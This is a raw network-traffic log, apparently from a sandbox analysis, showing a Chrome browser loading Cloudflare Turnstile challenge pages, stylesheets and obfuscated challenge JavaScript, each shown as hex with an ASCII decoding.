2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 30 2c 63 3b 63 3d 6e 5b 6f 5d 3b 6f 2b 2b 29 69 66 28 44 28 63 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 63 2e 73 72 63 29 29 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 66 72 28 29 7b 76 61 72 20 65 3d 41 74 28 29 3b 65 7c 7c 6d 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d Data Ascii: &&e.test(r.src))return r;for(var n=document.querySelectorAll("script"),o=0,c;c=n[o];o++)if(D(c,HTMLScriptElement)&&e.test(c.src))return c}function fr(){var e=At();e\|\|m("Could not find Turnstile script tag, some features may not be available",43777);var r=
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 45 2e 69 64 3d 22 63 66 2d 66 72 2d 69 64 22 2c 45 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 78 57 69 64 74 68 3d 22 34 35 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 52 74 28 72 29 2c 45 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 2c 45 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 37 22 2c 45 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e Data Ascii: me="cf-turnstile-feedback",E.id="cf-fr-id",E.style.width="100vw",E.style.maxWidth="450px",E.style.height=Rt(r),E.style.position="relative",E.style.zIndex="2147483647",E.style.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:34 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://cj.qhggzzwnpfh.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:34 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26677 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-11 01:08:34 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 30 31 39 35 39 33 64 39 30 37 66 35 66 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f019593d907f5f4-EWRalt-svc: h3=":443"; ma=86400
2024-12-11 01:08:34 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-11 01:08:34 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49763	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:36 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f019593d907f5f4&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:36 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120377 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f01959ffbd0435c-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:36 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 79 73 25 32 30 70 61 73 73 2e 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 Data Ascii: ys%20pass.","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","outdated_browser":"Your%20browser%20is%20out%20of%20date
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 38 2c 66 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 39 34 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 34 39 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 30 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 31 32 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 37 37 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 38 37 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 30 39 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 Data Ascii: fY,ga,gg,gh,gi,gs,gD,gH,f8,f9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1694))/1+parseInt(gI(1249))/2+parseInt(gI(1501))/3(-parseInt(gI(1712))/4)+-parseInt(gI(1177))/5(parseInt(gI(1587))/6)+parseInt(gI(1509))/7*(parseInt(g
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 30 3b 48 3c 47 5b 68 6c 28 31 33 38 33 29 5d 3b 6f 5b 68 6c 28 31 30 32 33 29 5d 28 47 5b 48 5d 2c 47 5b 6f 5b 68 6c 28 33 30 31 29 5d 28 48 2c 31 29 5d 29 3f 47 5b 68 6c 28 37 36 33 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 6b 28 31 36 38 31 29 5d 5b 68 6b 28 31 30 32 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 6b 28 31 33 38 33 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 6f 5b 68 6b 28 38 38 30 29 5d 28 66 31 2c 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 68 6b 28 31 35 30 37 29 5d 28 68 5b 44 5d 29 2c 68 6b 28 31 34 37 36 29 3d 3d 3d 6f 5b 68 6b 28 33 30 31 29 5d 28 69 2c 44 29 3f 73 28 6f 5b Data Ascii: 0;H<G[hl(1383)];o[hl(1023)](G[H],G[o[hl(301)](H,1)])?G[hl(763)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hk(1681)][hk(1024)](B),C=0;C<x[hk(1383)];D=x[C],E=o[hk(880)](f1,g,h,D),B(E)?(F='s'===E&&!g[hk(1507)](h[D]),hk(1476)===o[hk(301)](i,D)?s(o[
2024-12-11 01:08:36 UTC	1369	IN	Data Raw: 7d 2c 27 75 70 57 6a 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 44 47 77 79 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6f 4b 64 43 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 58 63 75 47 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 76 51 4a 68 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4b 42 72 74 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 70 56 77 7a 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 56 63 64 47 79 27 3a 66 75 6e Data Ascii: },'upWjF':function(h,i){return h&i},'DGwyL':function(h,i){return h(i)},'oKdCi':function(h,i){return h>i},'XcuGp':function(h,i){return h<<i},'vQJhO':function(h,i){return h(i)},'KBrtw':function(h,i){return h<i},'pVwzN':function(h,i){return i==h},'VcdGy':fun
